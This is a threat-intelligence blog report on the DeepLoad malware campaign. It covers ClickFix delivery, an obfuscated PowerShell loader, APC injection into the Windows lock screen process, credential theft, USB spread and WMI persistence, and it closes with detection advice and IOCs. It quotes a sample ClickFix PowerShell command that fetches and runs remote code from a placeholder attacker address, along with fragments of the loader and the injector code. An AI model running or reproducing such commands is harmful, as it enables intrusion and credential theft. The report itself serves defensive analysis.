

DeepLoad Malware Pairs ClickFix Delivery with AI-Generated Evasion

 reliaquest.com/blog/threat-spotlight-deepload-malware-pairs-clickfix-delivery-with-ai-generated-evasion

March 30, 2026



Editor's note: This report was authored by Thassanai McCabe and Andrew Currie.

Key Points

- “DeepLoad” malware has arrived in enterprise environments via “ClickFix” delivery, turning one user action into rapid, fileless compromise.
- It likely uses AI-assisted obfuscation and process injection to evade static scanning, while credential theft starts immediately and captures passwords and sessions even if the primary loader is blocked.
- The campaign persisted through Windows Management Instrumentation (WMI) event subscriptions that allowed reinfection three days after the host appeared clean.
- To counter DeepLoad, enable PowerShell Script Block Logging, audit WMI subscriptions on exposed hosts, and rotate all credentials from the infection window

ReliaQuest has observed the new **“DeepLoad” malware** being exploited in enterprise environments. What sets this campaign apart isn’t any single stand-out technique, but how the entire attack chain was engineered to defeat the controls most organizations rely on, turning one

user action into persistent, credential-stealing access.

In this report, we provide a full attack chain for DeepLoad, showing that newly surfaced threats can arrive operationally mature. Based on what we've observed, organizations must prioritize behavioral, runtime detection—not file-based scanning—to catch this campaign (and similar ones) early.

Delivered through “**ClickFix**” (a technique that tricks users into running malicious commands on their own machines), DeepLoad features **evasion at every stage**. The loader buries functional code under thousands of meaningless variable assignments, leaving file-based scanning tools with nothing to flag; and the payload runs inside a Windows lock screen process, likely chosen because it's overlooked by security tools. We assess with high confidence that **AI was used to build this obfuscation layer**. If so, organizations should expect frequent updates to the malware and less time to adapt detection coverage between waves.

The business risk is immediate. DeepLoad captures credentials as users type them (not just from stored files) and can continue operating even if the initial loader is detected and blocked. In the incidents we investigated, the loader spread to connected USB drives, which means the initial host is unlikely to be the only impacted system. Even after cleanup, a hidden persistence mechanism not addressed by standard remediation workflows **re-executed the attack three days later**.

Read on to find out:

- How one user action gave attackers persistent, reboot-surviving access with no further interaction required.
- Why the malware hides inside the Windows lock screen process, and what that means for detection.
- How a host can appear remediated, then reinfect itself days later.

From Click to Compromise: How DeepLoad Gains a Foothold

DeepLoad turns a single user action into persistent access quickly enough to outrun manual response, so the key is recognizing the handoffs that happen before obvious malware ever lands on disk. Here we explore how this unfolds, from initial delivery to the foothold that outlasted cleanup.

ClickFix Opens the Door to Persistence

The DeepLoad attack chain starts with ClickFix delivery. ClickFix is a social engineering technique that gets users to run the attacker's commands themselves. Typically delivered through fake browser prompts or phishing pages with realistic “error” messaging, ClickFix instructs users to

paste a command into Windows Run or a terminal to “fix” the issue. Once run, the command (see example below) retrieves and executes the payload directly.

```
powershell.exe -ep Bypass -Command "iex(irm hxxp://<Malicious IP Address>:3015/index)"
```

In this campaign, this one command was enough to establish persistent, reboot-surviving access by creating a scheduled task configured to repeatedly re-execute the loader. From there, `mshta.exe`, [a legitimate Windows utility](#), often abused for remote script execution, reached the attacker's staging infrastructure and pulled down an obfuscated PowerShell loader.

The delivery infrastructure was almost certainly purpose-built. The staging domains observed across incidents all began serving malicious content within the first 22 minutes, putting security teams that still rely on manual triage and containment at a significant disadvantage.

ClickFix is hard to stop at the delivery stage, but the follow-on activity is detectable. Surface this activity early by monitoring for unexpected `mshta.exe` outbound connections, newly created scheduled tasks, and PowerShell launched with an execution policy bypass.

AI-Generated Noise Defeats Static Scanning

DeepLoad's PowerShell loader was likely built to overwhelm static detection by burying its real logic under thousands of meaningless variable assignments that resemble routine scripting. The script looks “busy,” but most of it just noise.

One example is a reference to `windowsupdate.microsoft[.]com` embedded in the code (see example below). This is not real network communication. In PowerShell, text inside `${...}` is treated as a variable name; here, the domain is a filler meant to blend in, both for human review and automated scanning tools.

```
{Get-AuthenticodeSignature -InformationAction Continue -TaskPath  
\Microsoft\Windows\ && (aaa)} = "ZnVuY3";
```

```
{Get-StoragePool -ErrorAction Stop -Uri windowsupdate.microsoft.com && (kebnn)} =  
"Rpb24gR2V0LUNv";
```

The functional logic is minimal and sits at the bottom of the recovered code: a short exclusive OR (XOR) routine that decrypts an in-memory shellcode container using a hardcoded key (see decryption routine below). The decoded payload is never written to disk, giving file-based security tools that rely on matching files against known malicious signatures nothing to find.

```
$GelioSystem = @"
```

```
"\xe8\x9b\xd5\x01\x00\x00\x90\x03\x00\x12..."
```

```
"\xa9\xc9\xff\xbd\x94\x12\xac\x22\x8d\xee..."
```

"@

The sheer volume of padding likely rules out a human author. Template-based tools are possible, but the quality and consistency we observed likely point to AI. If so, what once may have taken days to build could probably be produced in an afternoon. It's also a realistic possibility that [AI helped write](#) the attack logic itself, not just the noise around it.

The scale is exactly why static detection is the wrong tool here: there's simply too much noise to sift through. The most reliable control is PowerShell Script Block Logging, which captures the decoded commands PowerShell executes at runtime and cuts through the padding entirely.

But delivery is only half the problem. Once it is running, DeepLoad still needs somewhere to hide.

Why DeepLoad Hides in the Lock Screen

DeepLoad is designed to blend into trusted Windows activity, making endpoint compromise harder to spot and harder to fully eradicate, even after "successful" cleanup. After initial access via [ClickFix](#), DeepLoad hides its payload inside `LockAppHost.exe`, the legitimate Windows process that manages the lock screen. It's highly likely this was a deliberate decision, as `LockAppHost.exe` doesn't typically initiate outbound network activity, so any connection should be a warning sign. Most security tools, however, aren't written to monitor it.

Building the Injector in Memory

To evade file-based detection, DeepLoad generates a secondary component on the fly by using the built-in PowerShell feature Add-Type, which compiles and runs code written in C#. This produces a temporary Dynamic Link Library (DLL) file dropped into the user's Temp directory.

Because the DLL is compiled fresh on every execution and written with a randomized filename, signature-based security tools have nothing to match against, so detection rules built for specific filenames are unlikely to fire. Behavioral detection and memory scanning can likely still catch it, but the bar is higher.

The loader also wipes its own tracks by disabling PowerShell command history and calling Windows core functions directly instead of relying on PowerShell's built-in commands, quietly sidestepping the most common monitoring hooks.

```
[DllImport("kernel32.dll")]  
  
public static extern bool CreateProcessA(...);  
  
[DllImport("kernel32.dll")]  
  
public static extern bool WriteProcessMemory(...);
```

Native Windows API calls used to launch processes and modify memory

Process Selection and APC Injection

DeepLoad then chooses a Windows process that helps it disappear into normal operating system (OS) behavior, making the activity harder to distinguish from normal system activity. It checks a hardcoded list (see example below) of three candidates: `LockAppHost.exe`, `makecab.exe`, and `Magnify.exe`. On the hosts we investigated, DeepLoad chose `LockAppHost.exe`, the Windows lock screen that security teams rarely scrutinize.

```
string[] possiblePaths = {  
  
    @"C:\Windows\System32\LockAppHost.exe",  
  
    @"C:\Windows\System32\makecab.exe",  
  
    @"C:\Windows\System32\Magnify.exe"  
};
```

DeepLoad uses **asynchronous procedure call (APC) injection**, in which the injector launches the target process in a suspended state, writes shellcode into its memory, then uses the `QueueUserAPC` function to trigger execution when the process resumes. The result is the active DeepLoad payload running inside a trusted Windows process without a decoded payload written to disk.

Catching APC injection requires monitoring for `QueueUserAPC` calls from unsigned or unexpected processes as well as anomalous parent-child relationships (for example, a PowerShell-compiled injector spawning `LockAppHost.exe` gives defenders key artifacts to monitor for).

Credential Theft and Browser Interception

DeepLoad steals credentials from the moment it lands, so even partial containment can still leave you with exposed passwords, session, and active accounts.

Before the main attack chain finishes, a standalone credential stealer, `filemanager.exe`, is already running on its own infrastructure and can exfiltrate data even if the main loader is detected and blocked. The name `filemanager.exe` is likely intentional; it looks like a harmless system utility in a process list and can be easy to miss during triage.

DeepLoad also drops and registers a malicious browser extension that captures credentials as users type them and persists across every browser session until explicitly removed. Together, these two credential-theft paths compound the risk:

- **Stored credential scraping** pulls saved browser passwords directly from the host.
- **Malicious browser extension** intercepts everything a user does, putting everything from active logins and open tabs to session tokens and saved passwords at risk.

DeepLoad separates credential theft from the rest of the chain. `filemanager.exe` uses a distinct command-and-control (C2) channel with failover domains, so blocking the main loader doesn't stop credential exfiltration. Defenders should audit installed browser extensions across affected endpoints and remove any that are outside of standard deployment paths or registered without IT involvement before returning systems to use.

USB Spread Extends Beyond Initial Host

In the campaign we investigated, DeepLoad spread via USB drives, which means containment should assume more than one affected endpoint. We observed this behavior directly, but it's unclear whether USB propagation is built into DeepLoad or was layered on by the threat actor.

Evidence appeared early: Within ten minutes of initial infection, a `/t1_usb` path showed up in traffic to the attacker infrastructure, indicating USB activity was tracked separately in the C2 backend.

When a USB drive was connected to an infected host, an automated sequence fired:

- `cmd.exe` and `mshta.exe` executed in rapid, repeated pairs—the same combination used throughout the loader chain.
- Over 40 files were written to the drive in a single operation, likely to maximize the chance a user on another machine clicks one.
- The files were disguised as familiar installers: `ChromeSetup.lnk`, `Firefox Installer.lnk`, `AnyDesk.lnk`, and Windows setup lookalikes—each a shortcut file that can retrigger the full infection on double-click.
- A second copy event occurred an hour later on a separate host, which suggests the malware repeats this activity automatically when a new drive is connected.

Defenders should treat all removable media connected to affected hosts as potentially compromised. Audit those devices before reuse and expand containment beyond the initially identified host.

Cleanup Misses Hidden WMI Persistence

Standard endpoint cleanup isn't enough here; DeepLoad used Windows Management Instrumentation (WMI) to reinfect a "clean" host three days later with no user action and no attacker interaction. WMI served two purposes: It broke the parent-child process chains most detection rules are built to catch, and it created a WMI event subscription that quietly re-executed the attack later.

During remediation, standard artifacts were removed (scheduled tasks, temporary files, and other file-based indicators). The WMI subscription was not. WMI subscriptions live in a separate repository that most cleanup workflows don't check, and they leave no file on disk, so a host can pass routine cleanup and still be primed to reinfect. Three days later, that's exactly what happened: The surviving subscription fired and dropped `filemanager.exe` back into the user's Downloads folder.

Before returning any affected host to production, security teams must explicitly enumerate WMI event subscriptions and remove anything that can't be tied to a known legitimate source. This step is often absent from standard remediation checklists and must be added manually.

Step Up Your Defenses Against DeepLoad

ReliaQuest's Approach

DeepLoad is built to evade file-based defenses by staying largely fileless, blending into trusted Windows processes, and moving fast. ReliaQuest GreyMatter equips security teams to detect those behaviors early and contain them before credential theft and spread widen the blast radius.

GreyMatter Transit provides visibility where file-based scanning fails. Because DeepLoad's decoded payload is never written to disk, signature-based tools have nothing to catch. GreyMatter Transit monitors network telemetry while it's still in motion, which means it can surface the `mshta.exe` callback to attacker-controlled staging infrastructure, `filemanager.exe` communicating on a separate C2 channel, and the USB-related `/t1_usb` traffic as behavioral signals.

GreyMatter Agentic AI focuses on behavior across the kill chain rather than individual signals. In this incident, a `WmiPrvSE.exe`-spawned PowerShell session, activity from `LockAppHost.exe`, and browser extension files written to non-standard paths are low-confidence events in isolation. Correlated, they describe an active compromise.

ReliaQuest Detection Rules are continuously updated using the latest threat intelligence and research, so organizations can effectively defend against DeepLoad's evasion techniques, including AI-generated and fileless payload execution.

Organizations can reduce their mean time to contain (MTTC) threats from hours to minutes and limit the window for credential theft and lateral spread by deploying these detection rules with the following GreyMatter Automated Response Playbooks:

- **Isolate Endpoint:** Immediately removes the affected host from the network, cutting off C2 communication and limiting USB-driven lateral movement.
- **Terminate Sessions:** Invalidates credentials and ends active sessions to reduce exposure `filemanager.exe` creates through both stored credential scraping and live browser interception.

- **Disable User:** Disables compromised accounts to stop unauthorized activity—critical when both saved passwords and active session tokens have been exposed.

Your Action Plan

DeepLoad moved from initial delivery to persistent, credential-stealing access in a single session, so defenses need to account for speed, fileless execution, and persistence that survives “standard” cleanup. These recommendations target the gaps conventional controls often leave exposed:

- **Add WMI Subscription Auditing in Routine Security Operations:** WMI event subscriptions sit outside the typical artifact footprint and require explicit enumeration. In this campaign, a surviving subscription re-executed the chain three days after the host appeared clean.
- **Enable Behavioral Endpoint Monitoring Now:** File-based scanning won’t catch this loader. Prioritize PowerShell Script Block Logging and EDR telemetry that captures behavioral and memory activity, so you can detect in-memory execution and process injection early.
- **Rotate All Credentials on Affected Hosts:** `filemanager.exe` accessed both stored browser credentials and live sessions. Treat all credentials reachable from a confirmed host as compromised and rotate them—saved passwords, session tokens, and any accounts active during the infection window.

Key Takeaways and What’s Next

DeepLoad will adapt as defenders close gaps, so coverage needs to be behavior-based, durable, and built for fast iteration. We expect the credential-stealing component to evolve first: As rotating browser passwords becomes routine, `filemanager.exe` may expand targeting to Windows Credential Manager, password managers, and MFA tokens.

The indications of AI generation mean there is a realistic probability that obfuscation will evolve from generic noise to padding tailored to the specific environment it’s deployed in, making behavioral baselining harder over time. As WMI subscriptions are added to remediation checklists, the persistence mechanism is likely to shift to other legitimate Windows features that currently receive less attention.

Three Takeaways to Act On:

- **WMI persistence needs an explicit remediation step.** Clearing file-based artifacts isn't enough, and subscriptions must be separately enumerated and removed, or the chain can re-execute on a host that otherwise appears clean. GreyMatter Agentic AI can surface WMI subscription activity as part of its behavioral correlation, flagging it alongside the broader attack chain rather than as an isolated event.
- **Runtime behavioral visibility is the only reliable detection layer.** File-based scanning is unlikely to catch this loader. PowerShell Script Block Logging and behavioral endpoint telemetry are most likely to surface it, and as AI makes new variants cheaper to produce, this is highly likely to remain true.
- **Detection coverage must outlast specific indicators.** DeepLoad's injection targets are likely to rotate as they attract scrutiny. ReliaQuest builds rules around the underlying attacker behavior rather than specific process names, so coverage remains effective as the threat adapts.

IOCs

Artifact	Details
1432393691b415d0cd4680d9cee73e60896 fbe63300d9f0355c96e91817e4b1d	filemanager.exe
6AABA685669D779EF8BE8F7F4231096CFA FD0EF386F3897C5E2106C177724FC8	domain-resolver.js
holiday-updateservice[.]com	Staging domain
forest-entity[.]cc	Staging domain
AB450927B37E1B68E2BE68832C354AC600 E86E2545A904D4CA0EA283F2600CC2	api-client.js
271D57775FD188FFE13F2F717538427CD666 7F82127E9C637303236231A456FA	popup.html
hell1-kitty[.]cc	Supporting infrastructure